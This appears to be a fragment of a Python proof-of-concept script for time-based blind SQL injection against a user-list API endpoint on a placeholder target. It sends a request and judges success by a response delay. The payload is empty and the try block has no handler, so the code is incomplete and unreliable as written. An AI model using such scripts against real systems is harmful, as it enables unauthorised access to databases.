python

import requests

target_url = "http://target-ip/api/system/user/list"

# Payload for SQL Injection in 'order' parameter
# Demonstrating a time-based blind injection attempt
payload = {

}

try:
    print("[+] Sending payload to target...")
    response = requests.get(target_url, params=payload, timeout=10)
    
    # Check if the response time indicates successful execution (SLEEP)
    if response.elapsed.total_seconds() >= 5:
        print("[!] Vulnerability confirmed: The application responded with a delay (SQL Injection successful).")
